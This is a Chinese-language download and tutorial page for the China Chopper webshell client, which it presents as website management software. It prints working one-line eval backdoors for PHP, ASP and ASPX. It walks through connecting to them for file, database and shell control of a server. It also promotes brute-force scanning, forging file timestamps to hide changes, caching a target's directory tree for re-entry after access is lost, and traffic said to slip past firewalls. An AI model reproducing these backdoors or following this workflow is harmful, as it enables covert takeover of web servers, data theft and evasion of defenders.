黑客工具中國(guó)菜刀是一款非常實(shí)用的網(wǎng)站管理軟件，無(wú)需安裝就能幫助你管理自己打開(kāi)的網(wǎng)站，還能設(shè)置虛擬終端，管理你的數(shù)據(jù)庫(kù)，體積小不占內(nèi)存！感興趣的小伙伴快來(lái)體驗(yàn)吧！

中國(guó)菜刀軟件內(nèi)容介紹

中國(guó)菜刀官方版是綠色無(wú)需安裝的網(wǎng)絡(luò)管理軟件。它功能強(qiáng)大，其功能相當(dāng)于ftp軟件，并且隱蔽性非常的高，使用簡(jiǎn)單，小白也能輕松搞定。支持多種語(yǔ)言，可鏈接腳本是:php，asp，jsp，aspx。中國(guó)菜刀適合批量webshell網(wǎng)站，只需配置好，以后方便每次使用，批量的用戶必備。有需要的趕緊來(lái)下載吧。

中國(guó)菜刀電腦版特色細(xì)節(jié)

1.中國(guó)菜刀支持的服務(wù)端腳本：php、asp；

2.主中國(guó)菜刀要功能有：文件管理，數(shù)據(jù)庫(kù)管理，虛擬終端。

文件管理

有足夠的權(quán)限時(shí)候可以管理整個(gè)磁盤/文件系統(tǒng)，

數(shù)據(jù)庫(kù)管理

這個(gè)是中國(guó)菜刀最最強(qiáng)大的功能，支持mysql,mssql,oracle,infomix,access等等數(shù)據(jù)庫(kù)，支持不是最主要的，功能強(qiáng)大，人性化才是最主要的

“菜刀”的數(shù)據(jù)庫(kù)操作界面，內(nèi)置了常用的數(shù)據(jù)庫(kù)語(yǔ)句，非常直觀的表列名瀏覽功能，自動(dòng)顯示表名，列名，查詢語(yǔ)句，非常人性化的設(shè)計(jì)，更內(nèi)置了不少自建的函數(shù)，方便不懂?dāng)?shù)據(jù)庫(kù)的菜鳥，都能查閱數(shù)據(jù)庫(kù)里的數(shù)據(jù)

再說(shuō)個(gè)“菜刀”數(shù)據(jù)庫(kù)管理的一個(gè)小技巧，對(duì)于access數(shù)據(jù)庫(kù)，可以在中國(guó)菜刀的webshell操作界面，對(duì)著mdb文件點(diǎn)右鍵，點(diǎn)access management，就直接進(jìn)入access的數(shù)據(jù)庫(kù)操作界面了，特別方便

虛擬終端

模擬的windowns下的cmd命令窗口如果服務(wù)器是linux那么就是shell窗口。

中國(guó)菜刀使用教程

1.常見(jiàn)的管理

右鍵空白處->添加

添加shell -> 進(jìn)行相關(guān)的配置。

我的配置：

地址： http://localhost/a.php

密碼：key

腳本類型：php

最后

->點(diǎn)擊添加

相關(guān)的介紹：

這里的

webshell是我們常說(shuō)的一句話木馬：

php一句話木馬：<?php @eval($_post['key']);?>

asp一句話木馬：<%eval request['key']%>

aspx一句話木馬：<%@ page language="jscript"%><%eval(request.item["key"],"unsafe");%>

眼尖的童鞋已經(jīng)看到了三個(gè)里面都帶有

key這個(gè)單詞，沒(méi)錯(cuò)這個(gè)就是密碼，大家可以自行修改為自己使用的密碼。

文件管理：

打開(kāi)方式 [右鍵webshell->單擊文件管理]

管理方式 [右鍵上圖中方框內(nèi)的任何區(qū)域進(jìn)行管理]

數(shù)據(jù)庫(kù)管理：

打開(kāi)方式 [右鍵webshell->數(shù)據(jù)庫(kù)管理]

可以看到是空白的，這時(shí)候就需要配置數(shù)據(jù)庫(kù)信息了。

配置方式1.[單擊配置]

出現(xiàn)了一個(gè)配置窗口。(前提你要有網(wǎng)站數(shù)據(jù)庫(kù)的配置信息才可以進(jìn)行配置)

我的配置信息：

數(shù)據(jù)庫(kù)類型：mysql

用戶名：root

密碼：root

配置方式 2.[選擇數(shù)據(jù)庫(kù)]

可以看到紅色方框那邊有mysql、mssql、mssql2、oracle等數(shù)據(jù)庫(kù)類型。

我是mysql的就選擇mysql的示例：

配置后 [單擊提交]：

管理方式：

虛擬終端：

打開(kāi)方式 [右鍵webshell->單擊虛擬終端]

紅色方框里是系統(tǒng)的一些信息。我們?cè)赿:\www>后面輸入相應(yīng)的cmd命令即可(linux就輸入shell命令)

2.網(wǎng)站掃描

打開(kāi)方式 [單擊菜刀圖標(biāo)->單擊網(wǎng)站掃描]

(也可以在軟件里使用快捷鍵alt+k去打開(kāi))

使用方法：

把http://www.http://maicaidao.com替換成自己的測(cè)試站點(diǎn)即可。

功能：

1.反向ip(reverse_ip)

2.爬蟲(spider)

3.爆破(crack)

其他按照這些提示都應(yīng)該能懂就不一一去說(shuō)了。

3.瀏覽器功能

打開(kāi)方法如圖示意。

對(duì)著網(wǎng)頁(yè)進(jìn)行右擊：

上圖是一些瀏覽器方面的功能。

單擊擴(kuò)展功能:

可以進(jìn)行cookie的修改。

同時(shí)也可以單擊菜刀圖標(biāo)->瀏覽器：

可以進(jìn)行選擇：

代表開(kāi)啟 可以單擊進(jìn)行取消開(kāi)啟。

4.其他功能

第一：設(shè)置菜刀啟動(dòng)密碼(防止自己的webshell泄露出去)

打開(kāi)方式 [單擊菜刀圖標(biāo)->單擊設(shè)置啟動(dòng)密碼]

點(diǎn)擊是，就成功設(shè)置密碼為test。

然后我們關(guān)掉菜刀再打開(kāi)菜刀：

輸入我們的密碼再可以設(shè)置新的密碼：

我相信著點(diǎn)英語(yǔ)難不倒各位也不解釋了。

也可以把啟動(dòng)密碼取消掉：

亮點(diǎn)優(yōu)勢(shì)

中國(guó)菜刀的文件管理功能非常人性化，文件夾和文件的圖標(biāo)完全模枋windows

文件日期，文件大小，文件權(quán)限，一目了然

尤其是修改文件時(shí)間功能，非常的方便

直接對(duì)著要修改時(shí)間的文件點(diǎn)右鍵,modify the file time，然后在文件的時(shí)間那欄，輸入時(shí)間，回車，就修改完了

當(dāng)然，菜刀的文件管理還有新建，刪除，上傳，下載，編輯功能，這些大同小異，就不一一細(xì)說(shuō)了

不過(guò)有個(gè)功能，還是要重點(diǎn)說(shuō)明的，那就是目錄緩存功能

菜刀可以把瀏覽過(guò)的webshell目錄都緩存在本地，這樣可以方便下次訪問(wèn)的時(shí)候更加快捷

最重要的是，當(dāng)哪天你的權(quán)限丟了，起碼你還有對(duì)方服務(wù)器的文件目錄結(jié)構(gòu)，方便再一次滲透

主要功能

只要支持動(dòng)態(tài)腳本的網(wǎng)站，都可以用中國(guó)菜刀來(lái)進(jìn)行管理！主要功能有：文件管理，虛擬終端，數(shù)據(jù)庫(kù)管理。

uincode方式編譯，支持多國(guó)語(yǔ)言輸入顯示。

一、eval客戶端部分

1）要了解的

服務(wù)端只需要簡(jiǎn)單的一行代碼，即可用此程序?qū)崿F(xiàn)常用的管理功能。

支持的服務(wù)端腳本：php, asp，.net。

在服務(wù)端運(yùn)行的代碼如下：

php: <?php @eval($_post['pass']);?>

asp: <%eval request("pass")%>

.net: <%@ page language="jscript"%><%eval(request.item["pass"],"unsafe");%>

(注意: .net要單獨(dú)一個(gè)文件或此文件也是jscript語(yǔ)言)

2）怎么用

在主視圖中右鍵/添加，在彈出的對(duì)話框中輸入服務(wù)端地址，連接的密碼(請(qǐng)注意上例中的pass字串)，選擇正確的腳本類型和語(yǔ)言編碼，保存后即可使用文件管理，虛擬終端，數(shù)據(jù)庫(kù)管理三大塊功能。要是其它都沒(méi)錯(cuò)誤，那么可能就是你把語(yǔ)言編碼選錯(cuò)了。

1. 文件管理：[特色]緩存下載目錄，并支持離線查看緩存目錄;

2.虛擬終端：[特色]人性化的設(shè)計(jì)，操作方便;(輸入help查看更多用法)

3.數(shù)據(jù)庫(kù)管理：[特色]圖形界面,支持mysql,mssql,oracle,infomix,access

以入支持ado方式連接的數(shù)據(jù)庫(kù)。

(各種腳本條件下的數(shù)據(jù)庫(kù)連接方法請(qǐng)點(diǎn)擊數(shù)據(jù)庫(kù)管理界面左上角處的配置按鈕查看)

注意：由于服務(wù)器的安全設(shè)置，某些功能可能不能正常使用。

3) 關(guān)于配置信息怎么填？

a) 數(shù)據(jù)庫(kù)方面：

php腳本：

<t>類型</t> 類型可為mysql,mssql,oracle,infomix中的一種

<h>主機(jī)地址<h> 主機(jī)地址可為機(jī)器名或ip地址，如localhost

<u>數(shù)據(jù)庫(kù)用戶</u> 連接數(shù)據(jù)庫(kù)的用戶名，如root

<p>數(shù)據(jù)庫(kù)密碼</p> 連接數(shù)據(jù)庫(kù)的密碼，如123455

asp和.net腳本：

<t>類型</t> 類型只能填ado

<c>ado配置信息</c>

ado連接各種數(shù)據(jù)庫(kù)的方式不一樣。如mssql的配置信息為

driver={sql server};server=(local);database=master;uid=sa;pwd=123456

b) 其它方面：

添加額外附加提交的數(shù)據(jù)：應(yīng)付這種情況：if ($_post['action']=='test'){@eval($_post['pass']);}

<o>action=test</o>

提交功能前先post額外的數(shù)據(jù)包：會(huì)話期間只提交一次。

<data>uid=user1&pwd=123456</data>

二、網(wǎng)站蜘蛛

織出一張網(wǎng)站的目錄結(jié)構(gòu)。

下載的列表文件存在桌面，右鍵菜單/載入url列表即可以根據(jù)地址得到目錄結(jié)構(gòu)。

三、定時(shí)提醒

當(dāng)鬧鐘事使吧, 周期：每月/每周/每日/只一次。

四、快速啟動(dòng)

一些常用的快捷方式放在這里，可以指定用戶身份運(yùn)行程序。這部分?jǐn)?shù)據(jù)是以加密存儲(chǔ)的。

五、瀏覽器

地址欄輸入help，更多精彩后續(xù)加入。

六、其它部分

等待加入。

附帶工具

update.exe是wsc.exe的數(shù)據(jù)庫(kù)wscdb遷移到菜刀的一個(gè)小工具。

把wscdb文件整到當(dāng)前目錄，運(yùn)行update.exe得到新的數(shù)據(jù)庫(kù)文件caidao.mdb

把菜刀的數(shù)據(jù)庫(kù)db.mdb替換掉即可。

編輯測(cè)評(píng)

中國(guó)菜刀是可遠(yuǎn)程鏈接webshell的工具，只要支持動(dòng)態(tài)腳本的網(wǎng)站，都可以用中國(guó)菜刀來(lái)進(jìn)行管理！軟件已將發(fā)送封包加密已可過(guò)各種防火墻，白帽子首選軟件!

更新日志

對(duì)軟件功能進(jìn)一步完善，bug修復(fù)。